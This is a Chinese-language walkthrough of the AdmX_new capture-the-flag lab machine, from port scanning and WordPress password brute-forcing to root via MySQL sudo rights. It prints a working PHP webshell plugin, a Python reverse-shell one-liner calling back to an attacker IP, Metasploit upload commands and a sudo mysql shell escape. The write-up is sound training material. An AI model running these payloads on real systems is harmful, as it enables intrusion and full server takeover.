打靶-AdmX_new
0x00 准备工作
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
涉及攻击方法:
- 主机发现
- 端口扫描
- WEB路径爆破
- BurpSuite内容替换
- 密码爆破
- MSF漏洞利用
- WordPress后台漏洞利用
- 升级Full TTY终端
- 蚁剑上线
- 利用MySQL提权
0x01 信息搜集
扫描靶机端口,发现在80上开启了apache服务.
打开是默认页面。
然后通过feroxbuster工具来进行目录扫描,扫描结果发现,wordpress目录存在301跳转。
0x02 目标渗透
尝试访问,然而加载的速度异常缓慢。
打开网络能发现浏览器请求了192.168.159.145的资源。
抓包发现dns-prefetch的ip被硬编码为192.168.159.145。
在bp的proxy->Option->Match and Replace添加如下图的规则,然后
页面资源能够成功加载了,查看里面的内容,发现存在admin用户,再加上之前扫目录出来的/wordpress/admin,感觉可能是个后台。
访问一下,可以看到有登录的页面,然后使用bp来对密码进行一个爆破,得到密码为adam14,进入后台。
0x04 GetShell
WordPress提权的下手角度:
- Media–通过Media,可以向目标服务器上传文件。
- Appearence–编辑当前主题的php源码,对404模板进行代码注入。
- Plugins–Add New以worldpress的插件上传webshell或者编辑原有的插件。
这里可以上传插件,代码如下:
<?php
/**
Plugin Name: webshell
Plugin URI: https://www.baidu.com/
Description: webshell
Version: 1.0
Author: lion
Author URI: https://www.baidu.com/
License: https://www.baidu.com/
*/
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
然后使用zip -r shell.zip shell.php
将文件压缩成zip格式,上传安装,木马插件的路径为/wordpress/wp-content/plugins/shell.php。然后使用python反弹shell。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.92.129",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
还可以用msf提权。
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.92.135
set username admin
set password adam14
set targeturi /wordpress
run
能达到同样的效果。
先ls /bin/bash
查看kali上面是否有/bin/bash,再echo $SHELL
查看当前的shell,如果默认的shell是zsh,可通过chsh -s /bin/bash
切换,再重启即可。准备就绪后,按ctrl + z,将获取到的shell放入后台,输入下列的命令升级成完全交互式的shell。
stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset
然后编辑当前主题的php源码,插入一句话木马后,用蚁剑连接。
0x05 flag1
尝试读取local.txt,并没有权限。
查看wp-config配置文件,发现数据库的用户名密码。
尝试用该密码切换用户、进入数据库,结果失败,用之前登录后台的密码,成功切换用户。
接着访问local.txt,成功!
0x06 flag2
sudo -l
发现mysql可以不用root密码以root权限执行
然后在数据库中使用system id
,确实是root的权限。
使用\! /bin/bash
切换到root,\!
为system
的简化。